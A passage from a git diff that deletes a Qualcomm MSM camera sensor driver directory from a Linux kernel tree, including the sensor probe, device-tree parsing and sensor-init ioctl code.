msm_sensor_fill_slave_info_init_params( - struct msm_camera_sensor_slave_info *slave_info, - struct msm_sensor_info_t *sensor_info) -{ - struct msm_sensor_init_params *sensor_init_params; - if (!slave_info || !sensor_info) - return -EINVAL; - - if (!slave_info->is_init_params_valid) - return 0; - - sensor_init_params = &slave_info->sensor_init_params; - if (INVALID_CAMERA_B != sensor_init_params->position) - sensor_info->position = - sensor_init_params->position; - - if (SENSOR_MAX_MOUNTANGLE > sensor_init_params->sensor_mount_angle) { - sensor_info->sensor_mount_angle = - sensor_init_params->sensor_mount_angle; - sensor_info->is_mount_angle_valid = 1; - } - - if (CAMERA_MODE_INVALID != sensor_init_params->modes_supported) - sensor_info->modes_supported = - sensor_init_params->modes_supported; - - return 0; -} - - -static int32_t msm_sensor_validate_slave_info( - struct msm_sensor_info_t *sensor_info) -{ - if (INVALID_CAMERA_B == sensor_info->position) { - sensor_info->position = BACK_CAMERA_B; - CDBG("%s:%d Set default sensor position\n", - __func__, __LINE__); - } - if (CAMERA_MODE_INVALID == sensor_info->modes_supported) { - sensor_info->modes_supported = CAMERA_MODE_2D_B; - CDBG("%s:%d Set default sensor modes_supported\n", - __func__, __LINE__); - } - if (SENSOR_MAX_MOUNTANGLE <= sensor_info->sensor_mount_angle) { - sensor_info->sensor_mount_angle = 0; - CDBG("%s:%d Set default sensor mount angle\n", - __func__, __LINE__); - sensor_info->is_mount_angle_valid = 1; - } - return 0; -} - -/* static function definition */ -int32_t msm_sensor_driver_probe(void *setting) -{ - int32_t rc = 0; - uint16_t i = 0, size = 0, size_down = 0; - struct msm_sensor_ctrl_t *s_ctrl = NULL; - struct msm_camera_cci_client *cci_client = NULL; - struct msm_camera_sensor_slave_info *slave_info = NULL; - struct msm_sensor_power_setting *power_setting = NULL; - struct msm_sensor_power_setting *power_down_setting = NULL; - struct msm_camera_slave_info *camera_info = NULL; - struct msm_camera_power_ctrl_t *power_info = NULL; - int c, end; - struct msm_sensor_power_setting power_down_setting_t; - unsigned long mount_pos = 0; - - /* Validate input parameters */ - if (!setting) { - pr_err("failed: slave_info %p", setting); - return -EINVAL; - } - - /* Allocate memory for slave info */ - slave_info = kzalloc(sizeof(*slave_info), GFP_KERNEL); - if (!slave_info) { - pr_err("failed: no memory slave_info %p", slave_info); - return -ENOMEM; - } - - if (copy_from_user(slave_info, (void *)setting, sizeof(*slave_info))) { - pr_err("failed: copy_from_user"); - rc = -EFAULT; - goto FREE_SLAVE_INFO; - } - - /* Print slave info */ - CDBG("camera id %d", slave_info->camera_id); - CDBG("slave_addr 0x%x", slave_info->slave_addr); - CDBG("addr_type %d", slave_info->addr_type); - CDBG("sensor_id_reg_addr 0x%x", - slave_info->sensor_id_info.sensor_id_reg_addr); - CDBG("sensor_id 0x%x", slave_info->sensor_id_info.sensor_id); - CDBG("size %d", slave_info->power_setting_array.size); - CDBG("size down %d", slave_info->power_setting_array.size_down); - - if (slave_info->is_init_params_valid) { - CDBG("position %d", - slave_info->sensor_init_params.position); - CDBG("mount %d", - slave_info->sensor_init_params.sensor_mount_angle); - } - - /* Validate camera id */ - if (slave_info->camera_id >= MAX_CAMERAS) { - pr_err("failed: invalid camera id %d max %d", - slave_info->camera_id, MAX_CAMERAS); - rc = -EINVAL; - goto FREE_SLAVE_INFO; - } - - /* Extract s_ctrl from camera id */ - s_ctrl = g_sctrl[slave_info->camera_id]; - if (!s_ctrl) { - pr_err("failed: s_ctrl %p for camera_id %d", s_ctrl, - slave_info->camera_id); - rc = -EINVAL; - goto FREE_SLAVE_INFO; - } - - CDBG("s_ctrl[%d] %p", slave_info->camera_id, s_ctrl); - - if (s_ctrl->is_probe_succeed == 1) { - /* - * Different sensor on this camera slot has been connected - * and probe already succeeded for that sensor. Ignore this - * probe - */ - pr_err("slot %d has some other sensor", slave_info->camera_id); - rc = 0; - goto FREE_SLAVE_INFO; - } - - size = slave_info->power_setting_array.size; - /* Allocate memory for power up setting */ - power_setting = kzalloc(sizeof(*power_setting) * size, GFP_KERNEL); - if (!power_setting) { - pr_err("failed: no memory power_setting %p", power_setting); - rc = -ENOMEM; - goto FREE_SLAVE_INFO; - } - - if (copy_from_user(power_setting, - (void *)slave_info->power_setting_array.power_setting, - sizeof(*power_setting) * size)) { - pr_err("failed: copy_from_user"); - rc = -EFAULT; - goto FREE_POWER_SETTING; - } - - /* Print power setting */ - for (i = 0; i < size; i++) { - CDBG("UP seq_type %d seq_val %d config_val %ld delay %d", - power_setting[i].seq_type, power_setting[i].seq_val, - power_setting[i].config_val, power_setting[i].delay); - } - /*DOWN*/ - size_down = slave_info->power_setting_array.size_down; - if (!size_down) - size_down = size; - /* Allocate memory for power down setting */ - power_down_setting = - kzalloc(sizeof(*power_setting) * size_down, GFP_KERNEL); - if (!power_down_setting) { - pr_err("failed: no memory power_setting %p", - power_down_setting); - rc = -ENOMEM; - goto FREE_POWER_SETTING; - } - - if (slave_info->power_setting_array.power_down_setting) { - if (copy_from_user(power_down_setting, - (void *)slave_info->power_setting_array. - power_down_setting, - sizeof(*power_down_setting) * size_down)) { - pr_err("failed: copy_from_user"); - rc = -EFAULT; - goto FREE_POWER_DOWN_SETTING; - } - } else { - pr_err("failed: no power_down_setting"); - if (copy_from_user(power_down_setting, - (void *)slave_info->power_setting_array. - power_setting, - sizeof(*power_down_setting) * size_down)) { - pr_err("failed: copy_from_user"); - rc = -EFAULT; - goto FREE_POWER_DOWN_SETTING; - } - - /*reverce*/ - end = size_down - 1; - for (c = 0; c < size_down/2; c++) { - power_down_setting_t = power_down_setting[c]; - power_down_setting[c] = power_down_setting[end]; - power_down_setting[end] = power_down_setting_t; - end--; - } - - } - - /* Print power setting */ - for (i = 0; i < size_down; i++) { - CDBG("DOWN seq_type %d seq_val %d config_val %ld delay %d", - power_down_setting[i].seq_type, - power_down_setting[i].seq_val, - power_down_setting[i].config_val, - power_down_setting[i].delay); - } - - camera_info = kzalloc(sizeof(struct msm_camera_slave_info), GFP_KERNEL); - if (!camera_info) { - pr_err("failed: no memory slave_info %p", camera_info); - goto FREE_POWER_DOWN_SETTING; - - } - - /* Fill power up setting and power up setting size */ - power_info = &s_ctrl->sensordata->power_info; - power_info->power_setting = power_setting; - power_info->power_setting_size = size; - power_info->power_down_setting = power_down_setting; - power_info->power_down_setting_size = size_down; - - s_ctrl->sensordata->slave_info = camera_info; - - /* Fill sensor slave info */ - camera_info->sensor_slave_addr = slave_info->slave_addr; - camera_info->sensor_id_reg_addr = - slave_info->sensor_id_info.sensor_id_reg_addr; - camera_info->sensor_id = slave_info->sensor_id_info.sensor_id; - - /* Fill CCI master, slave address and CCI default params */ - if (!s_ctrl->sensor_i2c_client) { - pr_err("failed: sensor_i2c_client %p", - s_ctrl->sensor_i2c_client); - rc = -EINVAL; - goto FREE_CAMERA_INFO; - } - /* Fill sensor address type */ - s_ctrl->sensor_i2c_client->addr_type = slave_info->addr_type; - if (s_ctrl->sensor_i2c_client->client) - s_ctrl->sensor_i2c_client->client->addr = - camera_info->sensor_slave_addr; - - cci_client = s_ctrl->sensor_i2c_client->cci_client; - if (!cci_client) { - pr_err("failed: cci_client %p", cci_client); - goto FREE_CAMERA_INFO; - } - cci_client->cci_i2c_master = s_ctrl->cci_i2c_master; - cci_client->sid = slave_info->slave_addr >> 1; - cci_client->retries = 3; - cci_client->id_map = 0; - cci_client->i2c_freq_mode = slave_info->i2c_freq_mode; - - /* Parse and fill vreg params for powerup settings */ - rc = msm_camera_fill_vreg_params( - power_info->cam_vreg, - power_info->num_vreg, - power_info->power_setting, - power_info->power_setting_size); - if (rc < 0) { - pr_err("failed: msm_camera_get_dt_power_setting_data rc %d", - rc); - goto FREE_CAMERA_INFO; - } - - /* Parse and fill vreg params for powerdown settings*/ - rc = msm_camera_fill_vreg_params( - power_info->cam_vreg, - power_info->num_vreg, - power_info->power_down_setting, - power_info->power_down_setting_size); - if (rc < 0) { - pr_err("failed: msm_camera_fill_vreg_params for PDOWN rc %d", - rc); - goto FREE_CAMERA_INFO; - } - - /* Update sensor, actuator and eeprom name in - * sensor control structure */ - s_ctrl->sensordata->sensor_name = slave_info->sensor_name; - s_ctrl->sensordata->eeprom_name = slave_info->eeprom_name; - s_ctrl->sensordata->actuator_name = slave_info->actuator_name; - - /* - * Update eeporm subdevice Id by input eeprom name - */ - rc = msm_sensor_fill_eeprom_subdevid_by_name(s_ctrl); - if (rc < 0) { - pr_err("%s failed %d\n", __func__, __LINE__); - goto FREE_CAMERA_INFO; - } - /* - * Update actuator subdevice Id by input actuator name - */ - rc = msm_sensor_fill_actuator_subdevid_by_name(s_ctrl); - if (rc < 0) { - pr_err("%s failed %d\n", __func__, __LINE__); - goto FREE_CAMERA_INFO; - } - - /* Power up and probe sensor */ - rc = s_ctrl->func_tbl->sensor_power_up(s_ctrl); - if (rc < 0) { - pr_err("%s power up failed", slave_info->sensor_name); - goto FREE_CAMERA_INFO; - } - - pr_err("%s probe succeeded", slave_info->sensor_name); - - /* - Set probe succeeded flag to 1 so that no other camera shall - * probed on this slot - */ - s_ctrl->is_probe_succeed = 1; - - /* - * Create /dev/videoX node, comment for now until dummy /dev/videoX - * node is created and used by HAL - */ - - if (s_ctrl->sensor_device_type == MSM_CAMERA_PLATFORM_DEVICE) - rc = msm_sensor_driver_create_v4l_subdev(s_ctrl); - else - rc = msm_sensor_driver_create_i2c_v4l_subdev(s_ctrl); - if (rc < 0) { - pr_err("failed: camera creat v4l2 rc %d", rc); - goto CAMERA_POWER_DOWN; - } - - /* Power down */ - s_ctrl->func_tbl->sensor_power_down(s_ctrl); - - rc = msm_sensor_fill_slave_info_init_params( - slave_info, - s_ctrl->sensordata->sensor_info); - if (rc < 0) { - pr_err("%s Fill slave info failed", slave_info->sensor_name); - goto FREE_CAMERA_INFO; - } - rc = msm_sensor_validate_slave_info(s_ctrl->sensordata->sensor_info); - if (rc < 0) { - pr_err("%s Validate slave info failed", - slave_info->sensor_name); - goto FREE_CAMERA_INFO; - } - /* Update sensor mount angle and position in media entity flag */ - mount_pos = s_ctrl->sensordata->sensor_info->position << 16; - mount_pos = mount_pos | ((s_ctrl->sensordata->sensor_info-> - sensor_mount_angle / 90) << 8); - s_ctrl->msm_sd.sd.entity.flags = mount_pos | MEDIA_ENT_FL_DEFAULT; - - /*Save sensor info*/ - s_ctrl->sensordata->cam_slave_info = slave_info; - - return rc; - -CAMERA_POWER_DOWN: - s_ctrl->func_tbl->sensor_power_down(s_ctrl); -FREE_CAMERA_INFO: - kfree(camera_info); -FREE_POWER_DOWN_SETTING: - kfree(power_down_setting); -FREE_POWER_SETTING: - kfree(power_setting); -FREE_SLAVE_INFO: - kfree(slave_info); - return rc; -} - -static int32_t msm_sensor_driver_get_gpio_data( - struct msm_camera_sensor_board_info *sensordata, - struct device_node *of_node) -{ - int32_t rc = 0, i = 0; - struct msm_camera_gpio_conf *gconf = NULL; - uint16_t *gpio_array = NULL; - uint16_t gpio_array_size = 0; - - /* Validate input paramters */ - if (!sensordata || !of_node) { - pr_err("failed: invalid params sensordata %p of_node %p", - sensordata, of_node); - return -EINVAL; - } - - sensordata->power_info.gpio_conf = kzalloc( - sizeof(struct msm_camera_gpio_conf), GFP_KERNEL); - if (!sensordata->power_info.gpio_conf) { - pr_err("failed"); - return -ENOMEM; - } - gconf = sensordata->power_info.gpio_conf; - - gpio_array_size = of_gpio_count(of_node); - CDBG("gpio count %d", gpio_array_size); - if (!gpio_array_size) - return 0; - - gpio_array = kzalloc(sizeof(uint16_t) * gpio_array_size, GFP_KERNEL); - if (!gpio_array) { - pr_err("failed"); - goto FREE_GPIO_CONF; - } - for (i = 0; i < gpio_array_size; i++) { - gpio_array[i] = of_get_gpio(of_node, i); - CDBG("gpio_array[%d] = %d", i, gpio_array[i]); - } - - rc = msm_camera_get_dt_gpio_req_tbl(of_node, gconf, gpio_array, - gpio_array_size); - if (rc < 0) { - pr_err("failed"); - goto FREE_GPIO_CONF; - } - - rc = msm_camera_init_gpio_pin_tbl(of_node, gconf, gpio_array, - gpio_array_size); - if (rc < 0) { - pr_err("failed"); - goto FREE_GPIO_REQ_TBL; - } - - kfree(gpio_array); - return rc; - -FREE_GPIO_REQ_TBL: - kfree(sensordata->power_info.gpio_conf->cam_gpio_req_tbl); -FREE_GPIO_CONF: - kfree(sensordata->power_info.gpio_conf); - kfree(gpio_array); - return rc; -} - -static int32_t msm_sensor_driver_get_dt_data(struct msm_sensor_ctrl_t *s_ctrl) -{ - int32_t rc = 0; - struct msm_camera_sensor_board_info *sensordata = NULL; - struct device_node *of_node = s_ctrl->of_node; - uint32_t cell_id; - - s_ctrl->sensordata = kzalloc(sizeof(*sensordata), GFP_KERNEL); - if (!s_ctrl->sensordata) { - pr_err("failed: no memory"); - return -ENOMEM; - } - - sensordata = s_ctrl->sensordata; - - /* - * Read cell index - this cell index will be the camera slot where - * this camera will be mounted - */ - rc = of_property_read_u32(of_node, "cell-index", &cell_id); - if (rc < 0) { - pr_err("failed: cell-index rc %d", rc); - goto FREE_SENSOR_DATA; - } - s_ctrl->id = cell_id; - - /* Validate cell_id */ - if (cell_id >= MAX_CAMERAS) { - pr_err("failed: invalid cell_id %d", cell_id); - rc = -EINVAL; - goto FREE_SENSOR_DATA; - } - - /* Check whether g_sctrl is already filled for this cell_id */ - if (g_sctrl[cell_id]) { - pr_err("failed: sctrl already filled for cell_id %d", cell_id); - rc = -EINVAL; - goto FREE_SENSOR_DATA; - } - - /* Read subdev info */ - rc = msm_sensor_get_sub_module_index(of_node, &sensordata->sensor_info); - if (rc < 0) { - pr_err("failed"); - goto FREE_SENSOR_DATA; - } - - /* Read vreg information */ - rc = msm_camera_get_dt_vreg_data(of_node, - &sensordata->power_info.cam_vreg, - &sensordata->power_info.num_vreg); - if (rc < 0) { - pr_err("failed: msm_camera_get_dt_vreg_data rc %d", rc); - goto FREE_SUB_MODULE_DATA; - } - - /* Read gpio information */ - rc = msm_sensor_driver_get_gpio_data(sensordata, of_node); - if (rc < 0) { - pr_err("failed: msm_sensor_driver_get_gpio_data rc %d", rc); - goto FREE_VREG_DATA; - } - - /* Get CCI master */ - rc = of_property_read_u32(of_node, "qcom,cci-master", - &s_ctrl->cci_i2c_master); - CDBG("qcom,cci-master %d, rc %d", s_ctrl->cci_i2c_master, rc); - if (rc < 0) { - /* Set default master 0 */ - s_ctrl->cci_i2c_master = MASTER_0; - rc = 0; - } - - /* Get mount angle */ - if (0 > of_property_read_u32(of_node, "qcom,mount-angle", - &sensordata->sensor_info->sensor_mount_angle)) { - /* Invalidate mount angle flag */ - sensordata->sensor_info->is_mount_angle_valid = 0; - sensordata->sensor_info->sensor_mount_angle = 0; - } else { - sensordata->sensor_info->is_mount_angle_valid = 1; - } - CDBG("%s qcom,mount-angle %d\n", __func__, - sensordata->sensor_info->sensor_mount_angle); - if (0 > of_property_read_u32(of_node, "qcom,sensor-position", - &sensordata->sensor_info->position)) { - CDBG("%s:%d Invalid sensor position\n", __func__, __LINE__); - sensordata->sensor_info->position = INVALID_CAMERA_B; - } - if (0 > of_property_read_u32(of_node, "qcom,sensor-mode", - &sensordata->sensor_info->modes_supported)) { - CDBG("%s:%d Invalid sensor mode supported\n", - __func__, __LINE__); - sensordata->sensor_info->modes_supported = CAMERA_MODE_INVALID; - } - /* Get vdd-cx regulator */ - /*Optional property, don't return error if absent */ - of_property_read_string(of_node, "qcom,vdd-cx-name", - &sensordata->misc_regulator); - CDBG("qcom,misc_regulator %s", sensordata->misc_regulator); - - s_ctrl->set_mclk_23880000 = of_property_read_bool(of_node, - "qcom,mclk-23880000"); - - CDBG("%s qcom,mclk-23880000 = %d\n", __func__, - s_ctrl->set_mclk_23880000); - - return rc; - -FREE_VREG_DATA: - kfree(sensordata->power_info.cam_vreg); -FREE_SUB_MODULE_DATA: - kfree(sensordata->sensor_info); -FREE_SENSOR_DATA: - kfree(sensordata); - return rc; -} - -static int32_t msm_sensor_driver_parse(struct msm_sensor_ctrl_t *s_ctrl) -{ - int32_t rc = 0; - - CDBG("Enter"); - /* Validate input parameters */ - - - /* Allocate memory for sensor_i2c_client */ - s_ctrl->sensor_i2c_client = kzalloc(sizeof(*s_ctrl->sensor_i2c_client), - GFP_KERNEL); - if (!s_ctrl->sensor_i2c_client) { - pr_err("failed: no memory sensor_i2c_client %p", - s_ctrl->sensor_i2c_client); - return -ENOMEM; - } - - /* Allocate memory for mutex */ - s_ctrl->msm_sensor_mutex = kzalloc(sizeof(*s_ctrl->msm_sensor_mutex), - GFP_KERNEL); - if (!s_ctrl->msm_sensor_mutex) { - pr_err("failed: no memory msm_sensor_mutex %p", - s_ctrl->msm_sensor_mutex); - goto FREE_SENSOR_I2C_CLIENT; - } - - /* Parse dt information and store in sensor control structure */ - rc = msm_sensor_driver_get_dt_data(s_ctrl); - if (rc < 0) { - pr_err("failed: rc %d", rc); - goto FREE_MUTEX; - } - - /* Initialize mutex */ - mutex_init(s_ctrl->msm_sensor_mutex); - - /* Initilize v4l2 subdev info */ - s_ctrl->sensor_v4l2_subdev_info = msm_sensor_driver_subdev_info; - s_ctrl->sensor_v4l2_subdev_info_size = - ARRAY_SIZE(msm_sensor_driver_subdev_info); - - /* Initialize default parameters */ - rc = msm_sensor_init_default_params(s_ctrl); - if (rc < 0) { - pr_err("failed: msm_sensor_init_default_params rc %d", rc); - goto FREE_DT_DATA; - } - - /* Store sensor control structure in static database */ - g_sctrl[s_ctrl->id] = s_ctrl; - pr_err("g_sctrl[%d] %p", s_ctrl->id, g_sctrl[s_ctrl->id]); - - return rc; - -FREE_DT_DATA: - kfree(s_ctrl->sensordata->power_info.gpio_conf->gpio_num_info); - kfree(s_ctrl->sensordata->power_info.gpio_conf->cam_gpio_req_tbl); - kfree(s_ctrl->sensordata->power_info.gpio_conf); - kfree(s_ctrl->sensordata->power_info.cam_vreg); - kfree(s_ctrl->sensordata); -FREE_MUTEX: - kfree(s_ctrl->msm_sensor_mutex); -FREE_SENSOR_I2C_CLIENT: - kfree(s_ctrl->sensor_i2c_client); - return rc; -} - -static int32_t msm_sensor_driver_platform_probe(struct platform_device *pdev) -{ - int32_t rc = 0; - struct msm_sensor_ctrl_t *s_ctrl = NULL; - - - /* Create sensor control structure */ - s_ctrl = kzalloc(sizeof(*s_ctrl), GFP_KERNEL); - if (!s_ctrl) { - pr_err("failed: no memory s_ctrl %p", s_ctrl); - return -ENOMEM; - } - - platform_set_drvdata(pdev, s_ctrl); - - /* Initialize sensor device type */ - s_ctrl->sensor_device_type = MSM_CAMERA_PLATFORM_DEVICE; - s_ctrl->of_node = pdev->dev.of_node; - - rc = msm_sensor_driver_parse(s_ctrl); - if (rc < 0) { - pr_err("failed: msm_sensor_driver_parse rc %d", rc); - goto FREE_S_CTRL; - } - - /* Fill platform device */ - pdev->id = s_ctrl->id; - s_ctrl->pdev = pdev; - - /* Fill device in power info */ - s_ctrl->sensordata->power_info.dev = &pdev->dev; - - return rc; -FREE_S_CTRL: - kfree(s_ctrl); - return rc; -} - -static int32_t msm_sensor_driver_i2c_probe(struct i2c_client *client, - const struct i2c_device_id *id) -{ - int32_t rc = 0; - struct msm_sensor_ctrl_t *s_ctrl; - - CDBG("\n\nEnter: msm_sensor_driver_i2c_probe"); - if (!i2c_check_functionality(client->adapter, I2C_FUNC_I2C)) { - pr_err("%s %s i2c_check_functionality failed\n", - __func__, client->name); - rc = -EFAULT; - return rc; - } - - /* Create sensor control structure */ - s_ctrl = kzalloc(sizeof(*s_ctrl), GFP_KERNEL); - if (!s_ctrl) { - pr_err("failed: no memory s_ctrl %p", s_ctrl); - return -ENOMEM; - } - - i2c_set_clientdata(client, s_ctrl); - - /* Initialize sensor device type */ - s_ctrl->sensor_device_type = MSM_CAMERA_I2C_DEVICE; - s_ctrl->of_node = client->dev.of_node; - - rc = msm_sensor_driver_parse(s_ctrl); - if (rc < 0) { - pr_err("failed: msm_sensor_driver_parse rc %d", rc); - goto FREE_S_CTRL; - } - - if (s_ctrl->sensor_i2c_client != NULL) { - s_ctrl->sensor_i2c_client->client = client; - s_ctrl->sensordata->power_info.dev = &client->dev; - - } - - return rc; -FREE_S_CTRL: - kfree(s_ctrl); - return rc; -} - -static int msm_sensor_driver_i2c_remove(struct i2c_client *client) -{ - struct msm_sensor_ctrl_t *s_ctrl = i2c_get_clientdata(client); - - pr_err("%s: sensor FREE\n", __func__); - - if (!s_ctrl) { - pr_err("%s: sensor device is NULL\n", __func__); - return 0; - } - - g_sctrl[s_ctrl->id] = NULL; - msm_sensor_free_sensor_data(s_ctrl); - kfree(s_ctrl->msm_sensor_mutex); - kfree(s_ctrl->sensor_i2c_client); - kfree(s_ctrl); - - return 0; -} - -static const struct i2c_device_id i2c_id[] = { - {SENSOR_DRIVER_I2C, (kernel_ulong_t)NULL}, - { } -}; - -static struct i2c_driver msm_sensor_driver_i2c = { - .id_table = i2c_id, - .probe = msm_sensor_driver_i2c_probe, - .remove = msm_sensor_driver_i2c_remove, - .driver = { - .name = SENSOR_DRIVER_I2C, - }, -}; - -static int __init msm_sensor_driver_init(void) -{ - int32_t rc = 0; - - CDBG("Enter"); - rc = platform_driver_probe(&msm_sensor_platform_driver, - msm_sensor_driver_platform_probe); - if (!rc) { - CDBG("probe success"); - return rc; - } else { - CDBG("probe i2c"); - rc = i2c_add_driver(&msm_sensor_driver_i2c); - } - - return rc; -} - - -static void __exit msm_sensor_driver_exit(void) -{ - CDBG("Enter"); - platform_driver_unregister(&msm_sensor_platform_driver); - i2c_del_driver(&msm_sensor_driver_i2c); - return; -} - -module_init(msm_sensor_driver_init); -module_exit(msm_sensor_driver_exit); -MODULE_DESCRIPTION("msm_sensor_driver"); -MODULE_LICENSE("GPL v2"); diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/msm_sensor_driver.h b/drivers/media/platform/msm/camera_wt88047_v2/sensor/msm_sensor_driver.h deleted file mode 100644 index 63ca657655283..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/sensor/msm_sensor_driver.h +++ /dev/null @@ -1,20 +0,0 @@ -/* Copyright (c) 2013, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -#ifndef MSM_SENSOR_DRIVER_H -#define MSM_SENSOR_DRIVER_H - -#include "msm_sensor.h" - -int32_t msm_sensor_driver_probe(void *setting); - -#endif diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/msm_sensor_init.c b/drivers/media/platform/msm/camera_wt88047_v2/sensor/msm_sensor_init.c deleted file mode 100644 index 6c744997dd9e0..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/sensor/msm_sensor_init.c +++ /dev/null @@ -1,186 +0,0 @@ -/* Copyright (c) 2013-2014, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -#define pr_fmt(fmt) "MSM-SENSOR-INIT %s:%d " fmt "\n", __func__, __LINE__ - -/* Header files */ -#include -#include "msm_sensor_init.h" -#include "msm_sensor_driver.h" -#include "msm_sensor.h" -#include "msm_sd.h" - -/* Logging macro */ -/*#define CONFIG_MSMB_CAMERA_DEBUG*/ -#undef CDBG -#ifdef CONFIG_MSMB_CAMERA_DEBUG -#define CDBG(fmt, args...) pr_err(fmt, ##args) -#else -#define CDBG(fmt, args...) do { } while (0) -#endif - -static struct msm_sensor_init_t *s_init; - -/* Static function declaration */ -static long msm_sensor_init_subdev_ioctl(struct v4l2_subdev *sd, - unsigned int cmd, void *arg); - -/* Static structure declaration */ -static struct v4l2_subdev_core_ops msm_sensor_init_subdev_core_ops = { - .ioctl = msm_sensor_init_subdev_ioctl, -}; - -static struct v4l2_subdev_ops msm_sensor_init_subdev_ops = { - .core = &msm_sensor_init_subdev_core_ops, -}; - -static const struct v4l2_subdev_internal_ops msm_sensor_init_internal_ops; - -static int msm_sensor_wait_for_probe_done(struct msm_sensor_init_t *s_init) -{ - int rc; - int tm = 10000; - - if (s_init->module_init_status == 1) { - pr_err("msm_cam_get_module_init_status -2\n"); - return 0; - } - rc = wait_event_interruptible_timeout(s_init->state_wait, - (s_init->module_init_status == 1), msecs_to_jiffies(tm)); - if (rc < 0) - pr_err("%s:%d wait failed\n", __func__, __LINE__); - else if (rc == 0) - pr_err("%s:%d wait timeout\n", __func__, __LINE__); - - return rc; -} - -/* Static function definition */ -static int32_t msm_sensor_driver_cmd(struct msm_sensor_init_t *s_init, - void *arg) -{ - int32_t rc = 0; - struct sensor_init_cfg_data *cfg = (struct sensor_init_cfg_data *)arg; - - /* Validate input parameters */ - if (!s_init || !cfg) { - pr_err("failed: s_init %p cfg %p", s_init, cfg); - return -EINVAL; - } - - switch (cfg->cfgtype) { - case CFG_SINIT_PROBE: - mutex_lock(&s_init->imutex); - s_init->module_init_status = 0; - rc = msm_sensor_driver_probe(cfg->cfg.setting); - mutex_unlock(&s_init->imutex); - if (rc < 0) - pr_err("failed: msm_sensor_driver_probe rc %d", rc); - break; - - case CFG_SINIT_PROBE_DONE: - s_init->module_init_status = 1; - wake_up(&s_init->state_wait); - break; - - case CFG_SINIT_PROBE_WAIT_DONE: - msm_sensor_wait_for_probe_done(s_init); - break; - - default: - pr_err("default"); - break; - } - - return rc; -} - -static long msm_sensor_init_subdev_ioctl(struct v4l2_subdev *sd, - unsigned int cmd, void *arg) -{ - int32_t rc = 0; - struct msm_sensor_init_t *s_init = v4l2_get_subdevdata(sd); - CDBG("Enter"); - - /* Validate input parameters */ - if (!s_init) { - pr_err("failed: s_init %p", s_init); - return -EINVAL; - } - - switch (cmd) { - case VIDIOC_MSM_SENSOR_INIT_CFG: - rc = msm_sensor_driver_cmd(s_init, arg); - break; - - default: - pr_err_ratelimited("default\n"); - break; - } - - return 0; -} - -static int __init msm_sensor_init_module(void) -{ - int ret = 0; - /* Allocate memory for msm_sensor_init control structure */ - s_init = kzalloc(sizeof(struct msm_sensor_init_t), GFP_KERNEL); - if (!s_init) { - pr_err("failed: no memory s_init %p", NULL); - return -ENOMEM; - } - - pr_err("MSM_SENSOR_INIT_MODULE %p", NULL); - - /* Initialize mutex */ - mutex_init(&s_init->imutex); - - /* Create /dev/v4l-subdevX for msm_sensor_init */ - v4l2_subdev_init(&s_init->msm_sd.sd, &msm_sensor_init_subdev_ops); - snprintf(s_init->msm_sd.sd.name, sizeof(s_init->msm_sd.sd.name), "%s", - "msm_sensor_init"); - v4l2_set_subdevdata(&s_init->msm_sd.sd, s_init); - s_init->msm_sd.sd.internal_ops = &msm_sensor_init_internal_ops; - s_init->msm_sd.sd.flags |= V4L2_SUBDEV_FL_HAS_DEVNODE; - media_entity_init(&s_init->msm_sd.sd.entity, 0, NULL, 0); - s_init->msm_sd.sd.entity.type = MEDIA_ENT_T_V4L2_SUBDEV; - s_init->msm_sd.sd.entity.group_id = MSM_CAMERA_SUBDEV_SENSOR_INIT; - s_init->msm_sd.sd.entity.name = s_init->msm_sd.sd.name; - s_init->msm_sd.close_seq = MSM_SD_CLOSE_2ND_CATEGORY | 0x6; - ret = msm_sd_register(&s_init->msm_sd); - if (ret) { - CDBG("%s: msm_sd_register error = %d\n", __func__, rc); - goto error; - } - - init_waitqueue_head(&s_init->state_wait); - - return 0; -error: - mutex_destroy(&s_init->imutex); - kfree(s_init); - return ret; -} - -static void __exit msm_sensor_exit_module(void) -{ - msm_sd_unregister(&s_init->msm_sd); - mutex_destroy(&s_init->imutex); - kfree(s_init); - return; -} - -module_init(msm_sensor_init_module); -module_exit(msm_sensor_exit_module); -MODULE_DESCRIPTION("msm_sensor_init"); -MODULE_LICENSE("GPL v2"); diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/msm_sensor_init.h b/drivers/media/platform/msm/camera_wt88047_v2/sensor/msm_sensor_init.h deleted file mode 100644 index a9700ec94d43b..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/sensor/msm_sensor_init.h +++ /dev/null @@ -1,25 +0,0 @@ -/* Copyright (c) 2013, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -#ifndef MSM_SENSOR_INIT_H -#define MSM_SENSOR_INIT_H - -#include "msm_sensor.h" - -struct msm_sensor_init_t { - struct mutex imutex; - struct msm_sd_subdev msm_sd; - int module_init_status; - wait_queue_head_t state_wait; -}; - -#endif diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/mt9m114.c b/drivers/media/platform/msm/camera_wt88047_v2/sensor/mt9m114.c deleted file mode 100644 index 97feef3d945c9..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/sensor/mt9m114.c +++ /dev/null @@ -1,1510 +0,0 @@ -/* Copyright (c) 2011-2014, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A 